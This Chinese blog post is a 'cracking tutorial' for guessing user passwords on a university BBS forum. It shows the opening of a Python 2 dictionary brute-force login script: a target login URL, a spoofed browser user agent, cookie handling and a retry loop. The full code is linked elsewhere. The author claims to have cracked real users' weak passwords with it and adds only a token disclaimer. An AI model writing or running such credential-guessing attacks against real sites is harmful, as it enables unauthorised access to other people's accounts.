python破解教程一 破解211高校BBS论坛的用户密码

本文只是举一反三,用python演示一个思路,适用于不同的网站或者论坛。 请勿用于非法行为。

以下代码亲测有效,破解了一些用户的弱密码。当然破解的成功率和你的字典有关,越复杂的字典,成功率就越高,但是花费的时间也就越长。

# -*- coding: utf-8 -*-
__author__ = 'rocky'
#http://www.rcdisk.com/index.php/group/topic/id-4
# 破解211高校BBS论坛的用户密码
#来源:http://www.rcdisk.com  
# 刃草网-记录你的自学

import cookielib, urllib, urllib2, re, time,sys


class BBS_sysu():
    def __init__(self):
    #构造urllib的数据头
        self.login_url = "http://bbs.xxxx.edu.cn/login"
        self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
        self.headers = {'User-Agent': self.user_agent}
        self.cookie = cookielib.CookieJar()
        self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
        self.pattern = re.compile(r'"success":"(d)"')
        self.guess = False
        self.ignore=False


    def urlopen_try(self,req,times=5):
        data=""
        try:
            result = self.opener.open(req)
            data=result.read()
        except Exception,what:
            print what, req;
            if times>0:
                time.sleep(20)

完整代码-> http://www.rcdisk.com/index.php/group/topic/id-4

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值